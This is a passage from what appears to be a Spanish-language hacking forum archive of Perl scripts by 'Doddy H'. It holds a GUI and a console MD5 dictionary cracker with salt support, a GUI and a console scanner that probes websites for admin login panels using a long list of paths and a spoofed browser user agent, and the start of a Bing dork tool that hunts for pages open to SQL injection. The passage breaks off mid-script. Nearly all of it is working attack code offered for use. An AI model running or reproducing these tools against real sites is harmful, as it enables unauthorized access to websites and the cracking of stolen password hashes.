    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxmu = $menulax->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxmu = $menulax->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menulax->pack( -side => "top", -fill => "x" );

$menulnowaxmu->command(
    -label      => "Crack Hash",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&crackhash
);
$menulnowaxmu->command(
    -label      => "Crack Wordlist",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&crackhashes
);
$menulnowaxmu->command(
    -label      => "Load hashes",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&bronafar
);
$menulnowaxmu->command(
    -label      => "Load file",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&bronaf
);
$menulnowaxmu->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogska
);

$aboutnowaxmu->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxam
);

$exitnowaxmu->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnowm
);

$kak->Label(
    -text       => "Hash : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $md5 = $kak->Entry(
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 45 );

$kak->Label(
    -text       => "File : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 22, -y => 70 );
my $word = $kak->Entry(
    -width      => 34,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 75 );

$kak->Label(
    -text       => "Salt : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 22, -y => 100 );
my $salt = $kak->Entry(
    -width      => 34,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 105 );

$kak->Label(
    -text       => "Hashes Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 90, -y => 150 );
my $ha = $kak->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 25, -y => 190 );

$kak->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 37, -y => 360 );
my $tatus = $kak->Entry(
    -width      => 25,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 365 );

MainLoop;

sub crackhashes {

    $ha->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    my $file     = $md5->get;
    my $wordlist = $word->get;
    my $salt     = $salt->get;

    my @hashes = openwordlist($file);

    my $formar;

    for my $md5 (@hashes) {
        chomp $md5;
        my $formar = $md5;

        if ( ver_length($md5) ) {

            my @words = openwordlist($wordlist);

            for my $word (@words) {
                chomp $word;
                $kak->update;
                my $formardos;

                if ( $salt eq "" ) {
                    $formardos = md5_hex($word);
                }
                else {
                    $formardos = md5_hex( $word . $salt );

                }

                if ( $formar eq $formardos ) {
                    $ha->insert( "end", $formar . ":" . $word );
                    $tatus->configure( -text => $word );
                    savefile( "md5-found.txt", $formar . ":" . $word );
                    last;
                }
                else {
                    $tatus->configure( -text => $word );
                }
            }
        }
        else {
            $kak->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Hash invalid",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
            last;
        }
    }
}

sub crackhash {

    $ha->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    my $md5      = $md5->get;
    my $wordlist = $word->get;
    my $salt     = $salt->get;

    my $formar = $md5;

    if ( ver_length($md5) ) {

        my @words = openwordlist($wordlist);

        for my $word (@words) {
            chomp $word;
            $kak->update;
            my $formardos;

            if ( $salt eq "" ) {
                $formardos = md5_hex($word);
            }
            else {
                $formardos = md5_hex( $word . $salt );
            }

            if ( $formar eq $formardos ) {
                $tatus->configure( -text => $word );
                $ha->insert( "end", $formar . ":" . $word );
                savefile( "md5-found.txt", $formar . ":" . $word );
                last;
            }
            else {
                $tatus->configure( -text => $word );
            }
        }
    }
    else {
        $kak->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Hash invalid",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub openwordlist {

    my ( $file, $tipo ) = @_;

    unless ( -f $file ) {
        $kak->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File not found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
        last;
    }

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    return @words;

}

sub bronafar {
    $kak->update;
    $browse = $kak->FileSelect( -directory => getcwd() );
    my $file = $browse->Show;
    $md5->configure( -text => $file );
}

sub bronaf {
    $kak->update;
    $browse = $kak->FileSelect( -directory => getcwd() );
    my $file = $browse->Show;
    $word->configure( -text => $file );
}

sub openlogska {
    my $f = "md5-found.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $kak->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub aboutxam {
    $kak->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnowm {
    exit 1;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?

#256
Perl / [Perl] MD5 Crack 0.2
Junio 16, 2012, 03:23:40 PM
Simple script para crackear un hash MD5 mediante un diccionario.


Código: perl
#!usr/bin/perl
#MD5 Crack 0.2
#Coded By Doddy H
#Test with
#098f6bcd4621d373cade4e832627b4f6 : test
#cc03e747a6afbbcbf8be7668acfebee5 : test.123
#1943b8b39ca8df2919faff021e0aca98 : testar
#177dac170d586383bcc889602b2bb788 : testar.123

use Digest::MD5 qw(md5_hex);

head();
while (1) {
    print qq(

[++] Options

[+] 1 : Crack hash
[+] 2 : Crack hashes

);
    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {
        print "\n[+] MD5 : ";
        chomp( my $md5 = <stdin> );
        print "\n[+] Salt : ";
        chomp( my $salt = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $wordlist = <stdin> );
        crackhash( $md5, $salt, $wordlist );
    }
    elsif ( $op eq "2" ) {
        print "\n[+] File : ";
        chomp( my $md5 = <stdin> );
        print "\n[+] Salt : ";
        chomp( my $salt = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $wordlist = <stdin> );
        crackhashes( $md5, $salt, $wordlist );
    }
    else {
        print "\n\n[-] Bad option\n";
    }

}
copyright();

sub crackhashes {

    my ( $file, $salt, $wordlist ) = @_;
    my @hashes = openwordlist($file);

    my $formar;

    for my $md5 (@hashes) {
        chomp $md5;
        my $formar = $md5;

        if ( ver_length($md5) ) {

            my @words = openwordlist($wordlist);

            print "[+] Cracking ....\n\n";

            for my $word (@words) {
                chomp $word;

                my $formardos;

                if ( $salt eq "" ) {
                    $formardos = md5_hex($word);
                }
                else {
                    $formardos = md5_hex( $word . $salt );

                }

                if ( $formar eq $formardos ) {
                    print "\n\a[+] Cracked : " . $formar . ":" . $word . "\n";
                    savefile( "md5-found.txt", $formar . ":" . $word );
                    last;
                }
                else {
                    print $formar. " =! " . $formardos . "\n";
                }
            }
        }
        else {
            print "\n[-] Hash invalid";
            last;
        }
    }
}

sub crackhash {

    my ( $md5, $salt, $wordlist ) = @_;
    my $formar = $md5;

    if ( ver_length($md5) ) {

        my @words = openwordlist($wordlist);

        print "[+] Cracking ....\n\n";

        for my $word (@words) {
            chomp $word;

            my $formardos;

            if ( $salt eq "" ) {
                $formardos = md5_hex($word);
            }
            else {
                $formardos = md5_hex( $word . $salt );
            }

            if ( $formar eq $formardos ) {
                print "\n\a[+] Cracked : " . $formar . ":" . $word . "\n";
                savefile( "md5-found.txt", $formar . ":" . $word );
                copyright();
            }
            else {
                print $formar. " =! " . $formardos . "\n";
            }
        }

    }
    else {
        print "\n[-] Hash invalid";
    }

}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub openwordlist {

    my ( $file, $tipo ) = @_;

    print "\n[+] Opening file\n\n";

    unless ( -f $file ) {
        print "\n[-] File not found\n";
        copyright();
    }

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    print "[+] Words Found : " . int(@words) . "\n\n";

    return @words;

}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub head {
    print qq(


@     @  @@@@    @@@@@     @@@@  @@@@@     @     @@@@  @   @
@     @  @   @   @        @    @ @    @    @    @    @ @  @ 
@@   @@  @    @  @        @      @    @   @ @   @      @ @   
@@   @@  @    @  @@@@     @      @    @   @ @   @      @@   
@ @ @ @  @    @  @   @    @      @@@@@   @   @  @      @@   
@ @ @ @  @    @      @    @      @    @  @   @  @      @ @   
@  @  @  @    @      @    @      @    @  @@@@@  @      @  @ 
@  @  @  @   @   @   @    @    @ @    @ @     @ @    @ @   @
@     @  @@@@     @@@      @@@@  @    @ @     @  @@@@  @    @



);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

#The End ?
#257
Perl / [Perl Tk] Panel Control 0.3
Junio 09, 2012, 11:30:38 AM
Version Tk de un programa en Perl para buscar el famoso panel de admin.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#Panel Control 0.3
#Version Tk
#Coded By Doddy H
#The arrays are a collection of several I found on the web

use Tk;
use Tk::Dialog;
use LWP::UserAgent;

my @paneles = (
    'admin/admin.asp',               'admin/login.asp',
    'admin/index.asp',               'admin/admin.aspx',
    'admin/login.aspx',              'admin/index.aspx',
    'admin/webmaster.asp',           'admin/webmaster.aspx',
    'asp/admin/index.asp',           'asp/admin/index.aspx',
    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
    'admin/',                        'login.asp',
    'login.aspx',                    'admin.asp',
    'admin.aspx',                    'webmaster.aspx',
    'webmaster.asp',                 'login/index.asp',
    'login/index.aspx',              'login/login.asp',
    'login/login.aspx',              'login/admin.asp',
    'login/admin.aspx',              'administracion/index.asp',
    'administracion/index.aspx',     'administracion/login.asp',
    'administracion/login.aspx',     'administracion/webmaster.asp',
    'administracion/webmaster.aspx', 'administracion/admin.asp',
    'administracion/admin.aspx',     'php/admin/',
    'admin/admin.php',               'admin/index.php',
    'admin/login.php',               'admin/system.php',
    'admin/ingresar.php',            'admin/administrador.php',
    'admin/default.php',             'administracion/',
    'administracion/index.php',      'administracion/login.php',
    'administracion/ingresar.php',   'administracion/admin.php',
    'administration/',               'administration/index.php',
    'administration/login.php',      'administrator/index.php',
    'administrator/login.php',       'administrator/system.php',
    'system/',                       'system/login.php',
    'admin.php',                     'login.php',
    'administrador.php',             'administration.php',
    'administrator.php',             'admin1.html',
    'admin1.php',                    'admin2.php',
    'admin2.html',                   'yonetim.php',
    'yonetim.html',                  'yonetici.php',
    'yonetici.html',                 'adm/',
    'admin/account.php',             'admin/account.html',
    'admin/index.html',              'admin/login.html',
    'admin/home.php',                'admin/controlpanel.html',
    'admin/controlpanel.php',        'admin.html',
    'admin/cp.php',                  'admin/cp.html',
    'cp.php',                        'cp.html',
    'administrator/',                'administrator/index.html',
    'administrator/login.html',      'administrator/account.html',
    'administrator/account.php',     'administrator.html',
    'login.html',                    'modelsearch/login.php',
    'moderator.php',                 'moderator.html',
    'moderator/login.php',           'moderator/login.html',
    'moderator/admin.php',           'moderator/admin.html',
    'moderator/',                    'account.php',
    'account.html',                  'controlpanel/',
    'controlpanel.php',              'controlpanel.html',
    'admincontrol.php',              'admincontrol.html',
    'adminpanel.php',                'adminpanel.html',
    'admin1.asp',                    'admin2.asp',
    'yonetim.asp',                   'yonetici.asp',
    'admin/account.asp',             'admin/home.asp',
    'admin/controlpanel.asp',        'admin/cp.asp',
    'cp.asp',                        'administrator/index.asp',
    'administrator/login.asp',       'administrator/account.asp',
    'administrator.asp',             'modelsearch/login.asp',
    'moderator.asp',                 'moderator/login.asp',
    'moderator/admin.asp',           'account.asp',
    'controlpanel.asp',              'admincontrol.asp',
    'adminpanel.asp',                'fileadmin/',
    'fileadmin.php',                 'fileadmin.asp',
    'fileadmin.html',                'administration.html',
    'sysadmin.php',                  'sysadmin.html',
    'phpmyadmin/',                   'myadmin/',
    'sysadmin.asp',                  'sysadmin/',
    'ur-admin.asp',                  'ur-admin.php',
    'ur-admin.html',                 'ur-admin/',
    'Server.php',                    'Server.html',
    'Server.asp',                    'Server/',
    'wp-admin/',                     'administr8.php',
    'administr8.html',               'administr8/',
    'administr8.asp',                'webadmin/',
    'webadmin.php',                  'webadmin.asp',
    'webadmin.html',                 'administratie/',
    'admins/',                       'admins.php',
    'admins.asp',                    'admins.html',
    'administrivia/',                'Database_Administration/',
    'WebAdmin/',                     'useradmin/',
    'sysadmins/',                    'admin1/',
    'system-administration/',        'administrators/',
    'pgadmin/',                      'directadmin/',
    'staradmin/',                    'ServerAdministrator/',
    'SysAdmin/',                     'administer/',
    'LiveUser_Admin/',               'sys-admin/',
    'typo3/',                        'panel/',
    'cpanel/',                       'cPanel/',
    'cpanel_file/',                  'platz_login/',
    'rcLogin/',                      'blogindex/',
    'formslogin/',                   'autologin/',
    'support_login/',                'meta_login/',
    'manuallogin/',                  'simpleLogin/',
    'loginflat/',                    'utility_login/',
    'showlogin/',                    'memlogin/',
    'members/',                      'login-redirect/',
    'sub-login/',                    'wp-login/',
    'login1/',                       'dir-login/',
    'login_db/',                     'xlogin/',
    'smblogin/',                     'customer_login/',
    'UserLogin/',                    'login-us/',
    'acct_login/',                   'admin_area/',
    'bigadmin/',                     'project-admins/',
    'phppgadmin/',                   'pureadmin/',
    'sql-admin/',                    'radmind/',
    'openvpnadmin/',                 'wizmysqladmin/',
    'vadmind/',                      'ezsqliteadmin/',
    'hpwebjetadmin/',                'newsadmin/',
    'adminpro/',                     'Lotus_Domino_Admin/',
    'bbadmin/',                      'vmailadmin/',
    'Indy_admin/',                   'ccp14admin/',
    'irc-macadmin/',                 'banneradmin/',
    'sshadmin/',                     'phpldapadmin/',
    'macadmin/',                     'administratoraccounts/',
    'admin4_account/',               'admin4_colon/',
    'radmind-1/',                    'Super-Admin/',
    'AdminTools/',                   'cmsadmin/',
    'SysAdmin2/',                    'globes_admin/',
    'cadmins/',                      'phpSQLiteAdmin/',
    'navSiteAdmin/',                 'server_admin_small/',
    'logo_sysadmin/',                'server/',
    'database_administration/',      'power_user/',
    'system_administration/',        'ss_vms_admin_sm/'
);

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "red";
my $color_fondo = "black";

my $newdaxz =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdaxz->title("Panel Control 0.3 || Coded By Doddy H");
$newdaxz->geometry("345x350+50+50");
$newdaxz->resizable( 0, 0 );

$menula = $newdaxz->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxm = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxm = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxm = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxm->command(
    -label      => "Scan",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&findpanel
);
$menulnowaxm->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogsk
);

$aboutnowaxm->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxa
);

$exitnowaxm->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$newdaxz->Label(
    -text       => "Page : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $paget = $newdaxz->Entry(
    -width      => 40,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 45 );

$newdaxz->Label(
    -text       => "Panels Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 80 );
my $admins = $newdaxz->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 50, -y => 130 );

$newdaxz->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 300 );
my $tatus = $newdaxz->Entry(
    -width      => 25,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 305 );

$admins->bind( "<Double-1>", [ \&loader ] );

MainLoop;

sub findpanel {
    my $hage = $paget->get;
    $admins->delete( "0.0", "end" );
    $tatus->configure( -text => "Starting" );
    for my $path (@paneles) {
        $newdaxz->update;
        $tatus->configure( -text => $path );
        $code = tomados( $hage . "/" . $path );
        if ( $code->is_success ) {
            $controlt = 1;
            $admins->insert( "end", $hage . "/" . $path );
            savefile( "admins-founds.txt", $hage . "/" . $path );
        }
    }

    if ( $controlt ne 1 ) {
        $newdaxz->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Not found anything",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
    $tatus->configure( -text => "Finished" );
}

sub loader {
    $adminsa = $admins->curselection();
    for my $id (@$adminsa) {
        my $linkar = $admins->get($id);
        system("start firefox $linkar");
    }
}

sub openlogsk {
    my $f = "admins-founds.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $newdaxz->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub aboutxa {
    $newdaxz->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnow {
    exit 1;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub tomados {
    return $nave->get( $_[0] );
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?
#258
Perl / [Perl] Panel Control 0.3
Junio 09, 2012, 11:30:28 AM
Simple script para buscar el famoso panel de administracion.

Código: perl

#!usr/bin/perl
#Panel Control 0.3
#Coded By Doddy H
#The arrays are a collection of several I found on the web

my @paneles = (
    'admin/admin.asp',               'admin/login.asp',
    'admin/index.asp',               'admin/admin.aspx',
    'admin/login.aspx',              'admin/index.aspx',
    'admin/webmaster.asp',           'admin/webmaster.aspx',
    'asp/admin/index.asp',           'asp/admin/index.aspx',
    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
    'admin/',                        'login.asp',
    'login.aspx',                    'admin.asp',
    'admin.aspx',                    'webmaster.aspx',
    'webmaster.asp',                 'login/index.asp',
    'login/index.aspx',              'login/login.asp',
    'login/login.aspx',              'login/admin.asp',
    'login/admin.aspx',              'administracion/index.asp',
    'administracion/index.aspx',     'administracion/login.asp',
    'administracion/login.aspx',     'administracion/webmaster.asp',
    'administracion/webmaster.aspx', 'administracion/admin.asp',
    'administracion/admin.aspx',     'php/admin/',
    'admin/admin.php',               'admin/index.php',
    'admin/login.php',               'admin/system.php',
    'admin/ingresar.php',            'admin/administrador.php',
    'admin/default.php',             'administracion/',
    'administracion/index.php',      'administracion/login.php',
    'administracion/ingresar.php',   'administracion/admin.php',
    'administration/',               'administration/index.php',
    'administration/login.php',      'administrator/index.php',
    'administrator/login.php',       'administrator/system.php',
    'system/',                       'system/login.php',
    'admin.php',                     'login.php',
    'administrador.php',             'administration.php',
    'administrator.php',             'admin1.html',
    'admin1.php',                    'admin2.php',
    'admin2.html',                   'yonetim.php',
    'yonetim.html',                  'yonetici.php',
    'yonetici.html',                 'adm/',
    'admin/account.php',             'admin/account.html',
    'admin/index.html',              'admin/login.html',
    'admin/home.php',                'admin/controlpanel.html',
    'admin/controlpanel.php',        'admin.html',
    'admin/cp.php',                  'admin/cp.html',
    'cp.php',                        'cp.html',
    'administrator/',                'administrator/index.html',
    'administrator/login.html',      'administrator/account.html',
    'administrator/account.php',     'administrator.html',
    'login.html',                    'modelsearch/login.php',
    'moderator.php',                 'moderator.html',
    'moderator/login.php',           'moderator/login.html',
    'moderator/admin.php',           'moderator/admin.html',
    'moderator/',                    'account.php',
    'account.html',                  'controlpanel/',
    'controlpanel.php',              'controlpanel.html',
    'admincontrol.php',              'admincontrol.html',
    'adminpanel.php',                'adminpanel.html',
    'admin1.asp',                    'admin2.asp',
    'yonetim.asp',                   'yonetici.asp',
    'admin/account.asp',             'admin/home.asp',
    'admin/controlpanel.asp',        'admin/cp.asp',
    'cp.asp',                        'administrator/index.asp',
    'administrator/login.asp',       'administrator/account.asp',
    'administrator.asp',             'modelsearch/login.asp',
    'moderator.asp',                 'moderator/login.asp',
    'moderator/admin.asp',           'account.asp',
    'controlpanel.asp',              'admincontrol.asp',
    'adminpanel.asp',                'fileadmin/',
    'fileadmin.php',                 'fileadmin.asp',
    'fileadmin.html',                'administration.html',
    'sysadmin.php',                  'sysadmin.html',
    'phpmyadmin/',                   'myadmin/',
    'sysadmin.asp',                  'sysadmin/',
    'ur-admin.asp',                  'ur-admin.php',
    'ur-admin.html',                 'ur-admin/',
    'Server.php',                    'Server.html',
    'Server.asp',                    'Server/',
    'wp-admin/',                     'administr8.php',
    'administr8.html',               'administr8/',
    'administr8.asp',                'webadmin/',
    'webadmin.php',                  'webadmin.asp',
    'webadmin.html',                 'administratie/',
    'admins/',                       'admins.php',
    'admins.asp',                    'admins.html',
    'administrivia/',                'Database_Administration/',
    'WebAdmin/',                     'useradmin/',
    'sysadmins/',                    'admin1/',
    'system-administration/',        'administrators/',
    'pgadmin/',                      'directadmin/',
    'staradmin/',                    'ServerAdministrator/',
    'SysAdmin/',                     'administer/',
    'LiveUser_Admin/',               'sys-admin/',
    'typo3/',                        'panel/',
    'cpanel/',                       'cPanel/',
    'cpanel_file/',                  'platz_login/',
    'rcLogin/',                      'blogindex/',
    'formslogin/',                   'autologin/',
    'support_login/',                'meta_login/',
    'manuallogin/',                  'simpleLogin/',
    'loginflat/',                    'utility_login/',
    'showlogin/',                    'memlogin/',
    'members/',                      'login-redirect/',
    'sub-login/',                    'wp-login/',
    'login1/',                       'dir-login/',
    'login_db/',                     'xlogin/',
    'smblogin/',                     'customer_login/',
    'UserLogin/',                    'login-us/',
    'acct_login/',                   'admin_area/',
    'bigadmin/',                     'project-admins/',
    'phppgadmin/',                   'pureadmin/',
    'sql-admin/',                    'radmind/',
    'openvpnadmin/',                 'wizmysqladmin/',
    'vadmind/',                      'ezsqliteadmin/',
    'hpwebjetadmin/',                'newsadmin/',
    'adminpro/',                     'Lotus_Domino_Admin/',
    'bbadmin/',                      'vmailadmin/',
    'Indy_admin/',                   'ccp14admin/',
    'irc-macadmin/',                 'banneradmin/',
    'sshadmin/',                     'phpldapadmin/',
    'macadmin/',                     'administratoraccounts/',
    'admin4_account/',               'admin4_colon/',
    'radmind-1/',                    'Super-Admin/',
    'AdminTools/',                   'cmsadmin/',
    'SysAdmin2/',                    'globes_admin/',
    'cadmins/',                      'phpSQLiteAdmin/',
    'navSiteAdmin/',                 'server_admin_small/',
    'logo_sysadmin/',                'server/',
    'database_administration/',      'power_user/',
    'system_administration/',        'ss_vms_admin_sm/'
);

use LWP::UserAgent;

my $nave = LWP::UserAgent->new();
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
print "[+] Page : ";
chomp( my $page = <stdin> );
scan($page);
copyright();

sub scan {

    print "\n\n[*] Searching .....\n\n\n";

    for my $path (@paneles) {
        $code = tomados( $_[0] . "/" . $path );

        if ( $code->is_success ) {
            $controlt = 1;
            print "\a\a[Link] : " . $_[0] . "/" . $path . "\n";
            savefile( "admins_logs.txt", $_[0] . "/" . $path );
        }

    }

    if ( $controlt ne 1 ) {
        print "[-] Not found anything\n";
    }

}

sub head {
    print q (


@@@@@                    @     @@@@                          @
@    @                   @    @    @             @           @
@    @                   @    @                  @           @
@    @  @@@  @ @@   @@@  @    @       @@@  @ @@  @@ @@  @@@  @
@@@@@      @ @@  @ @   @ @    @      @   @ @@  @ @  @  @   @ @
@       @@@@ @   @ @@@@@ @    @      @   @ @   @ @  @  @   @ @
@      @   @ @   @ @     @    @      @   @ @   @ @  @  @   @ @
@      @   @ @   @ @   @ @    @    @ @   @ @   @ @  @  @   @ @
@       @@@@ @   @  @@@  @     @@@@   @@@  @   @  @ @   @@@  @


                                                   
);
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub tomados {
    return $nave->get( $_[0] );
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

#The End ?
#259
Perl / [Perl Tk] BingHack Tool 0.1
Mayo 26, 2012, 09:05:52 AM
Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#BingHack Tool 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $color_fondo = "black";
my $color_texto = "green";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $hj =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$hj->geometry("600x285+20+20");
$hj->resizable( 0, 0 );
$hj->title("BingHack Tool 0.1");

$hj->Label(
    -text       => "Dork : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 18, -y => 22 );
my $dork = $hj->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 68, -y => 26 );

$hj->Label(
    -text       => "Pages : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 270, -y => 22 );
my $pages = $hj->Entry(
    -width      => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 335, -y => 26 );

$hj->Button(
    -text             => "Search",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&search
)->place( -x => 420, -y => 26 );
$hj->Button(
    -text             => "Logs",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&logs
)->place( -x => 495, -y => 26 );

$hj->Label(
    -text       => "Links Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 80 );
my $links = $hj->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 30, -y => 120 );

$hj->Label(
    -text       => "SQLi Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 390, -y => 80 );
my $founds = $hj->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 310, -y => 120 );

MainLoop;

sub search {

    $links->delete( "0.0", "end" );
    $founds->delete( "0.0", "end" );

    $hj->update;
    $hj->title("BingHack Tool 0.1 [+] Status : Searching");
    my @urls = bing( $dork->get, $pages->get );
    $hj->update;

    for (@urls) {
        $hj->update;
        $links->insert( "end", $_ );
    }

    $hj->title("BingHack Tool 0.1 [+] Status : Scanning");

    for my $pa (@urls) {
        $hj->update;
        sql($pa);
    }
    $hj->update;
    $hj->title("BingHack Tool 0.1");
}

sub logs {

    my $file = "sql-logs.txt";

    if ( -f $file ) {
        system($file);
    }
    else {
        $hj->Dialog(
            -title            => "Error",
